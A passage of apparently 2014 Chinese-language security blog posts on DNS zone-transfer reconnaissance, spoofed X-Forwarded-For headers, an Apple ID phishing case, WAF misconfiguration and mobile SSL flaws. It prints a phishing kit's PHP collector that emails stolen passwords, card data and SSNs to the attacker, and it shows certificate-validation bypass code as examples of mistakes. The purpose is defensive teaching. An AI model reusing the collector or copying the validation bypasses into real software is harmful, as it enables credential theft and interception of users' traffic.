以下選出一些常被入侵者當作攻擊目標的 subdomain 來計算在 22631804 筆 DNS 記錄中分別各佔了幾筆,每個 subdomain 共有兩個統計結果,逗號左邊的統計結果代表以該 subdomain 開頭的 DNS 記錄,例如 git.devco.re。逗號右邊的統計結果則將前後有數字的 subdomain 也一併計入,例如 dns01.devco.re、01dns.devco.re、0dns001.devco.re 等等。

  • 版本控制

    git: 583, 626

    gitlab: 138, 138

    svn: 1552, 1669

    subversion: 71, 72

    cvs: 284, 330

    hg: 115, 331

    mercurial: 18, 19

  • 開發與測試

    test: 14691, 20001

    dev: 8300, 10959

    stage: 1329, 1628

  • 資料庫

    db: 1190, 2537

    database: 150, 302

    sql: 2209, 3298

    mysql: 4045, 4998

    postgre: 11, 11

    redis: 21, 33

    mongodb: 6, 42

    memcache: 13, 72

    phpmyadmin: 455, 485

  • 後台管理

    manager: 188, 222

    staff: 481, 542

    member: 331, 376

    backend: 153, 177

  • 線上服務相關

    api: 1871, 2097

    search: 1469, 10987

    pic: 178, 293

    img: 1775, 3517

    service: 779, 959

    payment: 225, 238

    cache: 373, 627

  • 私有服務

    erp: 275, 318

    eip: 69, 80

    log: 227, 414

    nagios: 636, 736

    mrtg: 458, 565

    cgi: 194, 261

    dns: 2634, 9085

    ns: 12198, 63431

    ftp: 197414, 199481

    blog: 5074, 5446

    mail: 238742, 254515

    email: 2484, 2706

    webmail: 24164, 25067

    owa: 798, 888

    autodiscover: 30462, 30466

    vpn: 3152, 7025

    sso: 398, 462

    ssl: 709, 932

    proxy: 1464, 2215

    cms: 1320, 1696

    crm: 1152, 1301

    forum: 3654, 4037

按 End 的人有福了

究竟經由 zone transfer 所得到的資料可以拿來做什麼?對於攻擊者而言,主要有以下三種利用方式:

  • 建立字典檔:入侵者可利用上述資料建立一份最常見的 subdomain 的字典檔,未來利用此字典檔進行掃描時可節省許多時間成本,快速檢測某間公司有哪些 subdomain
  • 旁敲側擊:入侵者可觀察哪些 name server 有開放 zone transfer 查詢,接著去蒐集還有哪些公司使用同一台 name server,再進一步掃瞄那些 domain。那些 domain 也許不是大公司、不在 Alexa top 1M 內,但你無法確保它永遠不會是入侵者的攻擊目標。
  • 結合 0day 進行攻擊:當某個第三方套件被揭露 0day 弱點時,擁有上述資料的人就可以迅速執行大範圍的攻擊。例如這幾年正夯的 Rails 在去年被爆出有 Remote Code Exection 弱點 CVE-2013-0156,入侵者可直接對所有 redmine 進行攻擊。Juniper VPN 在今年也被揭露 Remote Code Execution 弱點,入侵者可找尋所有 vpn subdomain 來進行嘗試。

在上次我們提起這個古老的弱點後,已經有部分台灣企業陸續將此問題修復,但許多台灣企業仍有此問題而不自知,也許過陣子我們直接做個 Wall of Shame 條列出哪些廠商有問題會讓大家比較有感 :p

不過也別急著笑台灣企業,許多國際級的大網站同樣也有此類問題。由此可見資安問題不分新舊、不分國內外,總是容易被大家忽略,等到不知不覺被入侵者捅了重重的一刀後,才驚覺這許多的小弱點一旦串起來是多麼的可怕。你,開始有所警覺了嗎?

如何正確的取得使用者 IP?

18 June 2014 at 16:00

很多網站都會有偵測使用者 IP 的功能,不管是判斷使用者來自哪邊,或者是記錄使用者的位置。但是你知道嗎?網路上大多數的教學全部都是「錯誤」的。正確的程式寫法可以確保知道訪客的 IP,但是錯誤的寫法卻可能讓網站管理者永遠不知道犯罪者的來源。

這次我們單就偵測 IP 的議題來探討各種錯誤的寫法。

你知道網路上的教學是不安全的嗎?

我們先來看一下網路上的教學,讓我們 Google 找一下「PHP 取得 IP」,就可以看到許多人熱心的教學,我們隨意挑一個常見的教學來看看。

以 PHP 為例:

<?php
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
   $myip = $_SERVER['HTTP_CLIENT_IP'];
}else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
   $myip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
   $myip= $_SERVER['REMOTE_ADDR'];
}
echo $myip;
?>

以 ASP.NET 為例:

Dim ClientIP As String = Request.ServerVariables("HTTP_X_FORWARDED_FOR") 
IF ClientIP = String.Empty Then 
 ClientIP = Request.ServerVariables("REMOTE_ADDR") 
End IF

這是一個很基本的寫法、很正確的想法,如果 HTTP Header 中包含「Client-IP」,就先以他當作真實 IP。若包含「X-Forwarded-For」,則取他當作真實 IP。若兩者都沒有,則取「REMOTE_ADDR」變數作為真實 IP。因為當使用者連線時透過代理伺服器時,REMOTE_ADDR 會顯示為代理伺服器 Proxy 的 IP。部分代理伺服器會將使用者的原始真實 IP 放在 Client-IP 或 X-Forwarded-For header 中傳遞,如果在變數中呼叫則可以取得真實 IP。

但是你知道嗎?網路上 80% 的教學寫法全部都是「錯誤」的。

為什麼這樣說呢?請大家記得一件事情:「任何從客戶端取得的資料都是不可信任的!」

竄改 HTTP Header

「X-Forwarded-For」這個變數雖然「有機會」取得使用者的真實 IP,但是由於這個值是從客戶端傳送過來的,所以「有可能」被使用者竄改。

舉例來說,我寫了一個小程式,偵測這些常見的 HTTP Header 判斷 IP。並且使用 Burp Suite 這個工具來修改 HTTP Request。

顯示目前 IP 以及相關 header

頁面上顯示目前我目前的 IP「49.50.68.17」,並且其他的 header 是空的。但如果我今天使用 Burp Suite 之類的 Proxy 工具自行竄改封包,加上 X-Forwarded-For 或是 Client-IP header:

使用 Burp Suite 修改 HTTP Request Header

修改完畢之後,再到原本的顯示 IP 介面,會發現網頁錯將我竄改的 header 當作正確的資料填入。

顯示遭到竄改的 HTTP Header

使用代理伺服器 Proxy 的情況

使用代理伺服器的情況下,HTTP Header 會有不同的行為。例如 Elite Proxy 如何隱藏客戶端的真實 IP。以下簡單介紹幾種常見的狀況給各位參考。

直接連線 (沒有使用 Proxy)

  • REMOTE_ADDR: 客戶端真實 IP
  • HTTP_VIA: 無
  • HTTP_X_FORWARDED_FOR: 無

Transparent Proxy

  • REMOTE_ADDR: 最後一個代理伺服器 IP
  • HTTP_VIA: 代理伺服器 IP
  • HTTP_X_FORWARDED_FOR: 客戶端真實 IP,後以逗點串接多個經過的代理伺服器 IP

Anonymous Proxy

  • REMOTE_ADDR: 最後一個代理伺服器 IP
  • HTTP_VIA: 代理伺服器 IP
  • HTTP_X_FORWARDED_FOR: 代理伺服器 IP,後以逗點串接多個經過的代理伺服器 IP

High Anonymity Proxy (Elite Proxy)

  • REMOTE_ADDR: 代理伺服器 IP
  • HTTP_VIA: 無
  • HTTP_X_FORWARDED_FOR: 無 (或以逗點串接多個經過的代理伺服器 IP)

實際情況

在我們測試的過程中,通常我們都會讓瀏覽器自帶 X-Forwarded-For,並且自行填入 IP。常常會發現有一些網站出現如下的警告…

Discuz! 顯示 IP 錯誤

有沒有搞錯?「上次登入位置 127.0.0.1」?沒錯,這個是知名論壇套件「Discuz!」的功能,抓取 IP 的功能也是不安全的寫法。也有這樣的經驗,之前開著 X-Forwarded-For 的 header 到一些網站,竟然直接出現管理者後台!

你覺得只有一般人撰寫的程式會有這樣的問題嗎?其實大型網站也可能會有類似的問題。這樣的寫法可能會讓管理者永遠抓不到犯罪者的真實 IP,甚至攻擊者可以竄改 header 插入特殊字元,對網站進行 SQL Injection 或者 Cross-Site Scripting 攻擊。

正確又安全的方式

「任何從客戶端取得的資料都是不可信任的!」

請各位開發者、管理者記住這個大原則,雖然這些 Request Header 可能含有真實 IP 的資訊,但是因為他的安全性不高,因此我們絕對不能完全信賴這個數值。

那我們該怎麼處理呢?我的建議是記錄所有相關的 header 欄位存入資料庫,包含「REMOTE_ADDR」「X-Forwarded-For」等等,真正有犯罪事件發生時,就可以調出所有完整的 IP 資訊進行人工判斷,找出真正的 IP。當然從 header 存入的數值也可能會遭到攻擊者竄改插入特殊字元嘗試 SQL Injection,因此存入值必須先經過過濾,或者使用 Prepared Statement 進行存放。

可以參考的 HTTP Header(依照可能存放真實 IP 的順序)

  • HTTP_CLIENT_IP
  • HTTP_X_FORWARDED_FOR
  • HTTP_X_FORWARDED
  • HTTP_X_CLUSTER_CLIENT_IP
  • HTTP_FORWARDED_FOR
  • HTTP_FORWARDED
  • REMOTE_ADDR (真實 IP 或是 Proxy IP)
  • HTTP_VIA (參考經過的 Proxy)

「駭客思維」就是找出網站任何可能竄改的弱點,從網頁上的元素到 HTTP Header 都是嘗試的對象。因此身為防禦者一定要清楚的知道哪些數值是不能信賴的,不要再參考網路上錯誤的教學了!

Apple ID 釣魚郵件案例

2 July 2014 at 16:00

今天又有不怕死的人寄來釣魚信了,這次是騙取 Apple ID。讓我們來看看這封信,其中內容有非常多破綻,也已經被 Gmail 直接定為 Spam 了,非常可憐。除了信件之外,釣魚的網頁本身也很值得我們借鏡,讓我們來看看這次的釣魚郵件案例。

Apple ID 釣魚信

如何判別釣魚信呢?

先來談談要如何判別釣魚信呢。我們可以從四個要素來看:

  1. 標題
  2. 寄件者
  3. 內文
  4. 連結

標題

首先,這封信的標題非常假,一般來說公司不會使用這類標題,這種判斷比較需要經驗。釣魚信件會使用非常聳動、吸引你去做動作的標題。例如常見的「你的帳號遭到停用」、「更換帳號資訊通知」等。點下連結就會帶你去假造的頁面騙你輸入密碼,千萬別傻傻當真。

寄件者

寄件者通常是釣魚信一定會加強假造的部分,利用官方存在的信箱或是他人的信箱寄信,加強你的信任。不過需要特別注意的是:

寄件者的欄位是可以假造、隨意填寫的,千萬不要直接信任。

以這封信為例,寄件者「[email protected]」是不存在的。當然這個欄位可以假造,但連假造都錯,實在是非常不用心。

內文

信件的內文就是精華了,要怎麼做出一封很像官方的信件,又要誘使人去點選,實在是一門藝術。精心設計的釣魚信、社交工程、APT 郵件,通常都會針對受害者客製化,調查身邊的社交圈、常談的話題、常用的服務、會點擊的郵件,來製造一個一定會中獎的信件。

當然很多時候攻擊者調查不足,還是會出現蛛絲馬跡的。例如來自中國的惡意郵件,常會出現「尊敬的用戶您好」這種在台灣人眼中看了很彆扭的詞彙。如果出現了不常見的用詞,就非常有可能是一個假造的惡意郵件,千萬不要傻傻的點選連結或附件。

再回頭來以這封信為例,最大的破綻除了非制式的內文之外,就屬署名了。明明是假造「Apple Customer Support」的來信,最下面卻簽署「Microsoft Privacy and cookies Developers」,有沒有搞錯?可以再用點心嗎?

連結

最後的重點就是信件中的釣魚連結了,通常這個連結會帶你前往一個長得跟官方網站一模一樣的登入頁面,騙你輸入帳號密碼登入來竊取。在點選超連結之前,一定要先看一下這個連結前往的位置是不是官方的位置,例如是 Apple 的信件通常就會是前往 Apple.com 自己的網域名稱。當然更要特別注意的是假造的網域名稱,例如使用「App1e.com」來偽裝成「Apple.com」,也是非常常見的。

這封信中使用了最不用心的用法,就是直接拿釣魚網站的 URL 來當連結,一來長得跟官方網域根本不像,二來落落長的連結,到底是想要騙誰點選呢?

信件標頭藏有攻擊者的蛛絲馬跡

收到惡意郵件、釣魚郵件,一定要好好看信件的標頭檔(Header)。裡面通常可以看到攻擊者發信的來源,例如是自己架設的發信伺服器或者是使用肉雞來發信。

Apple ID 釣魚信 Header

信件標頭最重要的就是「Received」這個部分,要由下往上閱讀。從這邊我們可以看到信件的流向,從攻擊發起者到發信伺服器,中間經過其他伺服器的轉送,最後到收到釣魚信件的郵件伺服器。因此從最下面的 Received 位置,我們可以知道攻擊者是從「[email protected]」來寄送信件的,因此 cloud.httpdns.co 很有可能就是攻擊者的伺服器,或者是被駭來發信的伺服器。

如果覺得信件的標頭太長難以閱讀,可以利用 Google 提供的工具「Google Apps Toolbox - Messageheader」。只要把信件的標頭貼上,他就會自動分析信件的流向,如下圖。

檢查信件 header

釣魚網頁,也請你注重安全啊。

接著我們來看一下釣魚頁面。通常「正常」的釣魚頁面都會做得跟官方一模一樣,因為通常攻擊者都會直接把官方網站上面的 HTML 直接下載下來修改。如果有做得不像的,就真的是太不用心的攻擊者。

我們可以看到這個釣魚頁面做得非常像,上面要你輸入帳號、密碼、姓名、生日、信用卡號等資訊,非常惡劣。唯有網址實在是太假,希望沒有人眼拙真的以為這是 Apple 的網站。

Apple ID 釣魚網頁

秉持的資安研究員的好習慣,我們把網址子目錄去掉,看看網站的根目錄長什麼樣子,結果讓人跌破眼鏡。

釣魚網頁開放目錄瀏覽

釣魚網站也請你注重安全啊!這個網站大剌剌的開著目錄索引,讓我們可以看到網站上的各個目錄、檔案。除了 Apple 的釣魚網頁之外,甚至有釣魚網頁的原始碼「connect-info.zip」,更有著其他釣魚網頁在同個站上。

站上其他釣魚頁面

既然可以瀏覽,那我們來看看釣魚網頁的原始碼寫得怎樣。抓下來解開之後會看到完整的釣魚網頁,以及接收受騙人資料的主程式「Snd.php」。

下載釣魚網頁原始碼

釣魚網頁的程式寫得非常簡單,僅把網頁上接收到的被害人資料、IP,寄送到他的信箱「 [email protected] 」,寄送完畢後會自動導向到官方的頁面偽裝。

釣魚網頁原始碼

如果釣魚網頁寫得不好,甚至我們有機會可以攻擊他釣魚網頁上的漏洞,直接取得主機的權限,解救世人。從原始碼我們一目了然釣魚網頁的行為、寫法,也可以尋找有無攻擊的機會。

釣魚網頁原始碼備份

<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$bilsmg .= "------------+| AppLe VbV |+------------\n";
$bilsmg .= "Apple ID                    : ".$_POST['donnee000']."\n";
$bilsmg .= "Password                    : ".$_POST['donnee001']."\n";
$bilsmg .= "Full Name                   : ".$_POST['donnee01']."\n";
$bilsmg .= "Date of Birth               : ".$_POST['donnee02']."/";
$bilsmg .= "".$_POST['donnee3']."/";
$bilsmg .= "".$_POST['donnee4']."\n";
$bilsmg .= "Number Of Credit Card       : ".$_POST['donnee5']."\n";
$bilsmg .= "CVC (CVV)                   : ".$_POST['donnee6']."\n";
$bilsmg .= "Expiration Date             : ".$_POST['donnee7']."/";
$bilsmg .= "".$_POST['donnee8']."\n";
$bilsmg .= "Social Security Number      : ".$_POST['donnee9']."\n";
$bilsmg .= "------------+| APpLe VBV |+------------\n";
$bilsmg .= "Fr0m $ip            \n";


$bilsnd = "[email protected]";
$bilsub = "Apple Result | Fr0m $ip";
$bilhead = "From: Apple Results <[email protected]>";
$bilhead .= $_POST['eMailAdd']."\n";
$bilhead .= "MIME-Version: 1.0\n";
$arr=array($bilsnd, $IP);
foreach ($arr as $bilsnd)
mail($bilsnd,$bilsub,$bilsmg,$bilhead);

header('Location:https://itunesconnect.apple.com/WebObjects/iTunesConnect.woa/');

?>

釣魚郵件不死,別再把自己當成肥羊了!

釣魚攻擊最早從 1995 年就開始盛行,一直到快 20 年後的今天,都還是一個非常簡單又有效率的攻擊手法。收到郵件千萬別傻傻的輸入自己的個資、帳號密碼,仔細看一下攻擊者的破綻,別讓他得逞了。

如果有發現疑似釣魚網站,又無法確認,可以到 PhishTank 來查查看,找到釣魚網站也可以投稿一下幫助其他人!

設備不良設定帶來的安全風險:以 WAF 為例

17 July 2014 at 16:00

過去談到網站安全,通常會使用防火牆或 IDS 進行防護。但近年來網站安全議題都是以網頁應用程式的漏洞居多,無法單靠防火牆阻擋。以 OWASP Top 10 2013 的第一名 Injection 而言,多半是程式撰寫方法不嚴謹所造成,因此才有了網頁應用程式防火牆 (Web Application Firewall, WAF) 的出現。

有了 WAF 就是萬靈丹了嗎?就算有各種資安設備,但缺乏安全的設定,有的時候反而會讓系統陷入安全風險中。我們就以 Reverse Proxy 或 WAF 設備來探討不佳設定帶來的安全風險。

WAF 搭配不佳的設定會帶來什麼危害?

以常見的 mod_proxy 搭配 mod_security 的方案來看,通常使用 Reverse Proxy 或 Transparent Proxy 為其架構,透過 Proxy 的方式在 Client 與 Web Server 之間,對 HTTP Request / Response 進行過濾;以 HTTP Request 為例,當 WAF 偵測到 Client 端的請求中有 SQL Injection 語法時候,將會阻斷這個連線防止駭客攻擊。

在這種架構下的 WAF 看似對後端的伺服器多了一份保障,但也並非完美。其問題是後端的 Web Server 在透過 WAF 存取的情況下,無法得知來自 Client 端的來源 IP,相反的 Web Server 能看到的 IP 都將是 WAF 的 IP (REMOTE ADDR),在這種情況下可能造成 Client 端可以存取受 IP 來源限制的系統。延伸閱讀:如何正確的取得使用者 IP?。

以下圖為例,網站本身只允許 192.168.x.x 的網段連線,如果今天 Client IP 是 1.1.1.1,將無法存取該網站。

限制 IP 存取

但在有建置 WAF 的架構之下,Client 透過 WAF 存取網站,網站得到的 IP 會是 WAF 的 IP:192.168.1.10,因此允許連線,Client 因而取得原本需在內網才能存取的資料。

因為 WAF 而繞過 IP 限制

實際案例

我們以常見的 Web Server 整合包 XAMPP 為例,在預設的 http-xampp.conf 設定檔中限制了一些管理頁面只能由 Private IP 存取,如 /security 、 /webalizer 、 /phpmyadmin 、 /server-status 、 /server-info 等,此時 WAF 的 IP 若為 Private IP,依 XAMPP 預設設定,WAF 將可以存取這些受 IP 限制的資源,當 WAF 存取完資源後又將內容回傳給 Client 端。

http-xampp.conf 預設設定

<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
        Order deny,allow
        Deny from all
        Allow from ::1 127.0.0.0/8 \
                fc00::/7 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 \
                fe80::/10 169.254.0.0/16
         ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</LocationMatch>

如果照著預設的設定,以現成的案例來看,能夠存取 Apache Server 的系統狀態,其中可以看到網站所有連線以及 URI 等資料。

預設開放 Apache 伺服器狀態

並且可以直接讀取 phpMyAdmin 介面,並且至資料庫中新增、修改、刪除資料,甚至直接上傳 webshell 進入主機。

直接進入 phpMyAdmin 管理介面

XAMPP 也內建了網站記錄分析工具 webalizer,透過這個介面可以知道網站所有進入點的流量、統計數據等。

網站記錄分析工具 webalizer

小結

如果建置了 WAF,有關 IP 的設定必須要從 WAF 支援的 HTTP Header 中取出使用者的 IP (REMOTE_ADDR),才能讓原本網站的 IP 限制生效。在這種設定錯誤或是對 WAF 架構不瞭解的情況下,WAF 反而成為駭客繞過 Private IP 限制的跳板,就如同為駭客開了一個後門。因此在使用資安設備時,必須瞭解其架構。別讓資安設備、安全機制,反而使得伺服器更不安全。

手機應用程式開發上被忽略的 SSL 處理

14 August 2014 at 16:00

在網路上傳輸敏感資訊時,通常會使用 HTTPS 協定,讓客戶端與伺服器端對資料進行 SSL 加密處理,以降低資料在傳輸過程中被監聽或中間人攻擊的風險。HTTPS 的重要性逐漸被重視,Google 除了預設開啟 HTTPS 之外,未來更會將 HTTPS 的網站搜尋排名加分。但為了確保傳輸的安全,過程中客戶端會核對伺服器的憑證鏈 (certificate chain) 是否有效,若判定為無效時會作出警告。(詳見Wikipedia)

Desktop 警告圖
而在手機應用程式上 HTTPS 同樣重要,例如網路銀行、線上購物等。系統同樣會做憑證核對,但對被判定為無效的憑證就需要開發者作出額外的處理了。許多手機應用程式開發商在這個部分並沒有妥善處理好,以下我們就幾個常見的成因做基本的探討。

會被系統判定為無效的常見成因?

在探討該如何處理這個問題之前,這裡先列出一些有可能被系統判定成無效憑證的成因。

1. 系統支援問題 1

在 Android 2.2 及之前的版本,對 SSL 的支援上存在著一些問題,像是 SNI 和 Multiple Chain。而 Android 上不接受缺少中繼 CA 憑證的憑證鏈,例如:https://egov.uscis.gov/

2. 相關憑證未被預載到系統中

以 GCA 簽發的 SSL 憑證為例,在 Windows 上被判定為有效,但在 iOS 系統上卻因為 CA 不在系統的預載清單中而被判定為無效。

Windows
iPhone

3. 使用自行簽發的憑證

這種情況常出現在應用程式開發階段的內部測試環境中,由於是內部測試環境一般都不會花錢去申請憑證。

4. 連線被中間人(MITM)攻擊

當連線被 MITM 攻擊時,使用者原本的連線目的地會被導到攻擊者的設備上,此時伺服器憑證也會被取代成攻擊者自行簽發的憑證,造成原本正常的連線出現異常。

開發者該如何處理?

理想情況下,客戶端的支援度充足,伺服器憑證鏈的來源及設定正確,只需使用系統原有的方式去檢查憑證即可達到安全效果。但若非得要相容低版本系統或是自行簽發憑證的時候,就得自行做額外的檢查。

在處理方式上,普遍是使用憑證綁定 (certificate pinning) 的方式,把需要比對的憑證預先存放在應用程式裡,待要進行 SSL Handshake 的時候再與伺服器的憑證做比對。

可是在實務上,大多開發人員採用消極的方法,把錯誤警告略過讓連線繼續進行,使得本來使用 SSL 加密連線帶來的安全性形同虛設。據 2012 年 Why Eve and Mallory Love Android: An Analysis of SSL (In)Security on Android 這篇論文指出,在 Google Play 上 13500 個免費熱門應用程式當中,共有 1074 個 (8%) 應用程式因錯誤的 SSL 處理而導致使用者陷入 MITM 攻擊的風險中。

下面我們整理了一些在手機應用開發上,常見的 SSL 處理錯誤,以及其對應適當的處理方法。

Android 錯誤處理情況1

1 @Override
2 public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
3     handler.proceed();
4 }

當透過 WebView 元件訪問 HTTPS 網站發生 SSL 錯誤時,會觸發 onReceivedSslError 這個函數。根據官方文件指出,可藉由執行 handler.proceed() 或是 handler.cancel() 來決定是否讓連線繼續進行。在不覆寫這函數的情況下預設會執行 handler.cancel()。而上面的做法卻讓異常的連線繼續進行了。

較為恰當的做法是使用 handler.cancel() 讓連線終止,或是限制在開發階段才執行 handler.proceed()。像 Apache Coradova 和 Facebook Android SDK 皆有對這部分做控管。

Android 錯誤處理情況2

 1 TrustManager[] trustAllManager = new TrustManager[] { new X509TrustManager() {
 2     @Override
 3     public void checkClientTrusted(X509Certificate[] chain, String authType) {
 4     }
 5 
 6     @Override
 7     public void checkServerTrusted(X509Certificate[] chain, String authType) {
 8     }
 9 
10     @Override
11     public X509Certificate[] getAcceptedIssuers() {
12         return null;
13     }
14 } };
15 
16 SSLContext sslContext = SSLContext.getInstance("TLS");
17 sslContext.init(null, trustAllManager, null);

本用來檢查伺服器憑證的 checkServerTrusted 被留空,導致警告被略過。Google 建議不要自行實作 TrustManager,而是把憑證放到 KeyStore,再把 KeyStore 放到 TrustManagerFactory,最後從 TrustManagerFactory 產出相關的 TrustManager,開發文件中有提供處理的範例。OWASP 的 WIKI 上也有提供自行實作 TrustManager 做 certificate pinning 的範例。2

下面節錄 Android 官方文件上的範例:

 1 KeyStore keyStore = ...;
 2 String algorithm = TrustManagerFactory.getDefaultAlgorithm();
 3 TrustManagerFactory tmf = TrustManagerFactory.getInstance(algorithm);
 4 tmf.init(keyStore);
 5 
 6 SSLContext context = SSLContext.getInstance("TLS");
 7 context.init(null, tmf.getTrustManagers(), null);
 8 
 9 URL url = new URL("https://www.example.com/");
10 HttpsURLConnection urlConnection = (HttpsURLConnection) url.openConnection();
11 urlConnection.setSSLSocketFactory(context.getSocketFactory());
12 InputStream in = urlConnection.getInputStream();

Android 錯誤處理情況3

1 URL url = new URL("https://www.example.com/");
2 HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
3 conn.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

或是

1 HostnameVerifier allHostVerifier = new HostnameVerifier() {
2     @Override
3     public boolean verify(String hostname, SSLSession session) {
4         return true;
5     }
6 };

上述寫法略過了憑證中的 hostname 檢查,導致即使連線端與憑證中指定的 hostname 不一致也能通過。較為恰當的做法是不特別設定,讓他使用預設的 DefaultHostnameVerifier,或是採用更為嚴謹的 StrictHostnameVerifier。

iOS 錯誤處理情況1

1 @implementation NSURLRequest (IgnoreSSL)
2 + (BOOL)allowsAnyHTTPSCertificateForHost:(NSString*)host
3 {
4     return YES;
5 }
6 @end

此情況使用到 Framework 中的 Private API,雖然這種寫法會因為不能通過 Apple 的審查而不會出現在 AppStore 上(使用回避技巧不在這討論範圍內),但仍有機會在無需經過 Apple 審查的 Enterprise App 中使用。較為適當的做法是用 “#if DEBUG”,”#endif” 包起來以確保該段程式在編譯時只能對開發中的 debug 版上有作用。

iOS 錯誤處理情況2

 1 - (BOOL)connection:(NSURLConnection *)connection canAuthenticateAgainstProtectionSpace:(NSURLProtectionSpace *)protectionSpace {
 2     return [protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust];
 3 }
 4 
 5 - (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
 6     if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust])
 7         [challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust] forAuthenticationChallenge:challenge];
 8 
 9     [challenge.sender continueWithoutCredentialForAuthenticationChallenge:challenge];
10 }

上面的做法會讓使用 NSURLConnection 的連線略過憑證檢查,容許任意憑證通過。下面節錄 OWASP WIKI 上的範例:

 1 - (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:
 2                    (NSURLAuthenticationChallenge *)challenge
 3 {
 4     if ([[[challenge protectionSpace] authenticationMethod] isEqualToString: NSURLAuthenticationMethodServerTrust])
 5     {
 6         do
 7         {
 8             SecTrustRef serverTrust = [[challenge protectionSpace] serverTrust];
 9             if(nil == serverTrust)
10                 break; /* failed */
11 
12             OSStatus status = SecTrustEvaluate(serverTrust, NULL);
13             if(!(errSecSuccess == status))
14                 break; /* failed */
15 
16             SecCertificateRef serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0);
17             if(nil == serverCertificate)
18             break; /* failed */
19 
20             CFDataRef serverCertificateData = SecCertificateCopyData(serverCertificate);
21             [(id)serverCertificateData autorelease];
22             if(nil == serverCertificateData)
23                 break; /* failed */
24 
25             const UInt8* const data = CFDataGetBytePtr(serverCertificateData);
26             const CFIndex size = CFDataGetLength(serverCertificateData);
27             NSData* cert1 = [NSData dataWithBytes:data length:(NSUInteger)size];
28 
29             NSString *file = [[NSBundle mainBundle] pathForResource:@"random-org" ofType:@"der"];
30             NSData* cert2 = [NSData dataWithContentsOfFile:file];
31 
32             if(nil == cert1 || nil == cert2)
33                 break; /* failed */
34 
35             const BOOL equal = [cert1 isEqualToData:cert2];
36             if(!equal)
37                 break; /* failed */
38 
39             // The only good exit point
40             return [[challenge sender] useCredential: [NSURLCredential credentialForTrust: serverTrust]
41                         forAuthenticationChallenge: challenge];
42         } while(0);
43     }
44 
45     // Bad dog
46     return [[challenge sender] cancelAuthenticationChallenge: challenge];
47 }

處理方式與前面的 Android 情況2類同,做了 certificate pinning。

iOS 錯誤處理情況3

 1 - (void) URLSession:(NSURLSession *)session
 2 didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
 3   completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition,
 4                               NSURLCredential *credential))completionHandler
 5 {
 6     NSURLProtectionSpace * protectionSpace = challenge.protectionSpace;
 7     if ([protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) {
 8         SecTrustRef serverTrust = protectionSpace.serverTrust;
 9         completionHandler(NSURLSessionAuthChallengeUseCredential, [NSURLCredential credentialForTrust: serverTrust]);
10     } else {
11         completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);
12     }
13 }

與前面 NSURLConnection 的情況類同,只是這裡使用到的是 iOS7 新增的 NSURLSession 元件。對應的處理方式如下:

 1 - (void) URLSession:(NSURLSession *)session
 2 didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
 3   completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition,
 4                               NSURLCredential *credential))completionHandler
 5 {
 6     if ([[[challenge protectionSpace] authenticationMethod] isEqualToString:NSURLAuthenticationMethodServerTrust]) {
 7         SecTrustRef serverTrust = [[challenge protectionSpace] serverTrust];
 8         if (serverTrust != NULL) {
 9             OSStatus status = SecTrustEvaluate(serverTrust, NULL);
10             if(!(errSecSuccess == status)) {
11                 completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil);
12                 return;
13             }
14 
15             NSData *localCertData = [NSData dataWithContentsOfFile:[[NSBundle mainBundle]
16                                                    pathForResource:@"random-org"
17                                                             ofType:@"der"]];
18 
19             SecCertificateRef remoteServerCert = SecTrustGetCertificateAtIndex(serverTrust, 0);
20             CFDataRef remoteCertData = SecCertificateCopyData(remoteServerCert);
21             BOOL isMatch = [localCertData isEqualToData: (__bridge NSData *)remoteCertData];
22             CFRelease(remoteCertData);
23 
24             if (isMatch) {
25                 completionHandler(NSURLSessionAuthChallengeUseCredential, [NSURLCredential credentialForTrust:serverTrust]);
26             } else {
27                 completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil);
28             }
29         }
30     } else {
31         completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);
32     }
33 }

對 WebView 的一些補充

在對 WebView 做處理上,除了對 SSL 錯誤直接略過外,目前無論是在 Android 還是 iOS 上,SDK API 都尚未直接提供方法讓開發者能在 SSL Handshake 的途中作 Server Certificate Pinning。其中一個替代方法是,利用其他能夠作 Pinning 的元件將資料下載回來,接著把資料傳到 WebView 進行讀取,避開原本用 WebView 直接設定連線網址。蘋果公司有提供這種處理的範例。

結語

本來為了提高安全性而使用的 SSL 加密連線,卻由於程式處理不當讓原來的保護形同虛設。觀念不足與為節省時間而沒做好處理相信是主要原因。網路上大量的文章在引指開發者略過錯誤警告的時候,卻沒有提醒他們這樣做帶來的影響,也助長了不當處理的發生。

除了 SSL 處理問題外,手機應用程式開發還有許多要注意的安全問題,像是 OWASP 列出的 Top 10 Mobile Risks、由日本智慧型手機安全協會發佈 Android Application Secure Design/Secure Coding Guidebook 裡面所建議的。開發商有責任做好安全把關以保障雙方權益。

參考

  1. Google 基於效能及有效性的考量,在 Android 系統上預設停用憑證撤銷檢查
     ↩

  2. OWASP 的 Android 範例中,內含的 PUB_KEY 是錯誤的 (最後更改日期 2014/08/14) ↩

被遺忘的資訊洩漏-重點回顧

25 August 2014 at 16:00

前言

